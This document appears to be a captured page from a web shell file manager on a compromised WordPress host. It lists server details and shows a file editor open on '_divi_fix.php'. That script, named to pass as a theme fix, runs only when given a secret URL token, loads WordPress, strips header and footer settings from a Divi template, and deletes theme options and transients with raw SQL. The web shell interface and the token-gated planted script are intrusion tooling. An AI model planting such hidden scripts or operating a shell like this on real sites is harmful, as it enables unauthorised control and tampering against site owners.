⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.173
Server IP:
78.40.11.138
Server:
Linux tango.o2switch.net 4.18.0-553.30.1.lve.el8.x86_64 #1 SMP Tue Dec 3 01:21:19 UTC 2024 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
sc1voni9410
/
clic-rhonealpes.com
/
Edit File: _divi_fix.php
<?php if (($_GET['tk'] ?? '') !== 'NetOS2026X') { http_response_code(403); die('denied'); } define('ABSPATH', dirname(__FILE__) . '/'); if (!file_exists(ABSPATH . 'wp-load.php')) { die(json_encode(['error'=>'wp-load not found'])); } require_once ABSPATH . 'wp-load.php'; header('Content-Type: application/json'); $result = ['domain' => $_SERVER['HTTP_HOST']]; // Find the Theme Builder $tb_posts = get_posts(['post_type'=>'et_theme_builder','posts_per_page'=>1,'post_status'=>'publish']); if (empty($tb_posts)) { $result['error'] = 'no theme builder'; echo json_encode($result); exit; } $tb_id = $tb_posts[0]->ID; // Find the "All Posts" template $templates = get_post_meta($tb_id, '_et_template'); $fixed = false; foreach ($templates as $tmpl_id) { $use_on = get_post_meta($tmpl_id, '_et_use_on', true); if ($use_on !== 'singular:post_type:post:all') continue; $header_enabled = get_post_meta($tmpl_id, '_et_header_layout_enabled', true); $footer_enabled = get_post_meta($tmpl_id, '_et_footer_layout_enabled', true); $result['template_id'] = $tmpl_id; $result['old_header_enabled'] = $header_enabled; $result['old_footer_enabled'] = $footer_enabled; // Fix: delete header/footer meta so Divi inherits theme defaults delete_post_meta($tmpl_id, '_et_header_layout_id'); delete_post_meta($tmpl_id, '_et_header_layout_enabled'); delete_post_meta($tmpl_id, '_et_footer_layout_id'); delete_post_meta($tmpl_id, '_et_footer_layout_enabled'); // Clear Divi caches if (function_exists('et_core_clear_wp_cache')) { et_core_clear_wp_cache(); } if (function_exists('et_builder_clear_all_module_caches')) { et_builder_clear_all_module_caches(); } delete_transient('et_theme_builder_template_ids'); $et_tb = 'et_theme_builder_'; global $wpdb; $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE '{$et_tb}%'"); $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE '_transient_et_%'"); $fixed = true; $result['ok'] = true; break; } if (!$fixed) { $result['skipped'] = 'no All Posts template found'; } echo json_encode($result);
Simpan